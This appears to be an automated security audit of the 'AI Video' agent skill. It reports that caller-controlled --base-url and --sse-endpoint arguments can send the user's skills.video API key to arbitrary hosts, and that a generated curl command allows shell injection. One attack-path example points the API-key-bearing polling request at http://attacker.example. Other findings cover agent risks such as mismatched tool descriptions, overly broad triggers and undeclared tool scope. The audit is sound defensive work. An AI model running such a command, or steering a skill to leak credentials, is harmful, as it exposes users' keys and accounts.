Back to skill

Security audit

AI Video

Security checks for vulnerabilities and agentic risk

Overview

The skill mostly matches its video-generation purpose, but it can be steered to send the user's skills.video API key to arbitrary URLs, so it needs review before installation.

Install only if you trust the publisher and can constrain usage to https://open.skills.video. Use a limited API key or spending controls if available, do not pass custom --base-url or full --sse-endpoint values from untrusted text, and do not run emitted curl commands unless the URL is the expected skills.video host.

Vulnerability Patterns
  • Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
  • Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
  • Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
  • Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review
  • Embedded Malicious CodeShips malicious scripts inside the skill and executes them locally
Findings (3)

T09 · Insecure Skill Coding Practices

Error
Location
scripts/create_and_wait.py:62
Finding

Bearer API Key Disclosure Through an Unrestricted SSE Endpoint

Content
View full analysis
str: if endpoint.startswith("http://") or endpoint.startswith("https://"): return endpoint if not endpoint.startswith("/"): endpoint = "/" + endpoint return f"{base_url.rstrip('/')}{endpoint}" ``` ```python def run_sse( url: str, api_key: str, payload: dict[str, Any], request_timeout: float, ) -> tuple[int, str | None, Any]: req = request.Request( url, headers={ "Authorization": f"Bearer {api_key}", "Accept": "text/event-stream", "Content-Type": "application/json", }, data=json.dumps(payload).encode("utf-8"), method="POST", ) ``` The request is subsequently sent using: ```python with request.urlopen(req, timeout=request_timeout) as resp: ``` ### Technical Analysis The `--sse-endpoint` argument accepts either a relative endpoint or an unrestricted absolute URL. If an absolute `http://` or `https://` URL is supplied, `endpoint_url()` returns it without verifying the scheme, hostname, port, or relationship to the documented `open.skills.video` service. `run_sse()` then unconditionally attaches the value of `SKILLS_VIDEO_API_KEY` as a bearer token and sends the complete generation payload to that URL. This violates the least-privilege requirement because the declared functionality only requires disclosing the credential to the skills.video API. Acceptance of plain HTTP additionally permits the API key and potentially sensitive prompts or media references to be transmitted without transport encryption. ### Attack Path 1. An attacker influences the arguments used to invoke `create_and_wait.py`, such as through an untrusted generated command, copied instruc ...[truncated 1114 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Error
Location
scripts/wait_generation.py:81
Finding

Bearer API Key Disclosure Through an Unrestricted Polling Base URL

Content
View full analysis
tuple[int, Any]: url = f"{base_url.rstrip('/')}/generation/{generation_id}" req = request.Request( url, headers={ "Authorization": f"Bearer {api_key}", "Accept": "application/json", }, method="GET", ) try: with request.urlopen(req, timeout=request_timeout) as resp: raw = resp.read().decode("utf-8", errors="replace") return resp.getcode(), parse_json_or_text(raw) ``` The network destination is caller-controlled: ```python parser.add_argument("--base-url", default="https://open.skills.video/api/v1") ``` ### Technical Analysis Although the default URL is the documented skills.video API, the `--base-url` option can be changed to any string. `fetch_generation()` concatenates this value into a URL and attaches the environment-provided bearer token without validating the scheme or destination host. Consequently, an attacker who can influence the command arguments can direct the credential-bearing polling request to an arbitrary server. A base URL using `http://` also causes plaintext transmission of the API key. This issue affects direct uses of `wait_generation.py` and the fallback path in `create_and_wait.py`, which forwards its own caller-controlled `--base-url` to the polling helper. ### Attack Path 1. The attacker causes the polling helper or the SSE fallback workflow to run with a malicious base URL: ```bash python scripts/wait_generation.py \ --generation-id any-value \ --base-url http://attacker.example ``` 2. The script reads `SKILLS_VIDEO_API_KEY` from the process environment. 3. It construc ...[truncated 782 chars]
Remediation
View remediation

T09 · Insecure Skill Coding Practices

Warning
Location
scripts/handle_runtime_error.py:89
Finding

Generated Credential-Bearing Curl Command Allows Arbitrary Destinations and Shell Injection

Content
View full analysis
Remediation
View remediation
Vulnerability Patterns
  • Excessive AgencyUnrestricted Tool Access, Autonomous Decision Making, Scope Creep
  • Rogue AgentSelf-Modification, Session Persistence
  • Trigger AbuseOverly Broad Trigger, Shadow Command Trigger, Keyword Baiting Trigger
  • Behavioral ASTexec() Call, eval() Call, Dynamic Import
  • MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
Findings (8)

Tp4

High
Category
MCP Tool Poisoning
Confidence
95% confidence
Finding

The declared purpose suggests a core function around constructing and executing video-generation REST requests against the skills.video API. The actual code does not perform request generation, OpenAPI handling, API invocation, debugging of calls, or documentation generation. Instead, it solely validates presence of an environment variable and outputs instructions for obtaining and configuring an API key. While API key checking could be a supporting utility within such a skill, this code chunk by itself materially differs from the declared primary purpose.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
97% confidence
Finding

The declared purpose centers on constructing and executing skills.video video generation REST requests based on OpenAPI specs. The supplied code chunk instead handles post-error analysis: it reads a provided status/body, classifies errors such as insufficient credits, auth, validation, not found, and transient failures, then prints guidance and a credits-check command. While this could be loosely related to debugging API usage, it is not the described primary functionality and lacks any logic for generating requests, parsing OpenAPI specs, or calling the video generation endpoints. Therefore the description does not accurately represent the actual behavior of this code chunk.

Content

No source excerpt is available for this finding.

Tp4

High
Category
MCP Tool Poisoning
Confidence
96% confidence
Finding

The declared description suggests a general-purpose skill for constructing and executing skills.video video generation REST requests from OpenAPI specifications, mainly for creating, debugging, or documenting calls. The supplied code instead implements a narrowly scoped command-line polling script that monitors an existing generation by ID until success/failure/timeout. Its primary purpose is waiting on generation completion, not generating requests from OpenAPI specs or broadly executing video generation calls. While it does interact with the same service domain, the actual behavior is materially more specific and different enough in purpose to count as a mismatch.

Content

No source excerpt is available for this finding.

Undeclared Tool Scope

Medium
Category
MCP Least Privilege
Confidence
90% confidence
Finding

The skill declares no explicit tool scope or permissions even though it instructs use of environment variables, file reads, shell execution, and outbound network calls. That lack of least-privilege scoping can cause an agent runtime to grant broader capabilities than necessary, increasing the chance of unintended command execution, secret exposure, or network misuse.

Content

No source excerpt is available for this finding.

Vague Triggers

Medium
Category
Not specified by scanner
Confidence
90% confidence
Finding

The default prompt uses a very generic invocation pattern, 'Use $ai-video to create videos of {subject}', which can match a broad range of ordinary user requests about making videos. Overly broad triggers increase the chance of unintended skill activation, causing the agent to invoke an external video-generation capability when the user did not explicitly intend to use this skill.

Content

No source excerpt is available for this finding.

Context-Inappropriate Capability

Medium
Category
Not specified by scanner
Confidence
82% confidence
Finding

The manifest frames this skill around constructing and issuing REST API calls for skills.video. In addition to that network behavior, the code launches another local Python script via subprocess as a fallback mechanism, which is a materially broader capability than simple REST request execution and is not justified by the stated purpose.

Content

No source excerpt is available for this finding.

subprocess module call

Medium
Category
Dangerous Code Execution
Confidence
70% confidence
Finding

subprocess module calls execute external commands. Without careful input validation, this enables command injection.

Content

Scanner excerpt · scripts/create_and_wait.py (reported line 311)May include surrounding context.

python
}
    )

    result = subprocess.run(cmd, check=False)
    emit(
        {
            "event": "fallback_polling_end",

Session Persistence

Medium
Category
Rogue Agent
Confidence
60% confidence
Finding

Skill establishes unauthorized persistence across sessions via cron jobs, startup scripts, or state files. Session persistence allows an attacker to maintain access beyond the current interaction.

Content

Scanner excerpt · scripts/ensure_api_key.py (reported line 36)May include surrounding context.

python
"dashboard_url": "https://skills.video/dashboard/developer",
                "how_to_get_key": [
                    "Sign in at the dashboard URL.",
                    "Click 'Create API Key'.",
                    "Copy the generated key.",
                ],
                "set_env_examples": [

Static analysis

No suspicious patterns detected.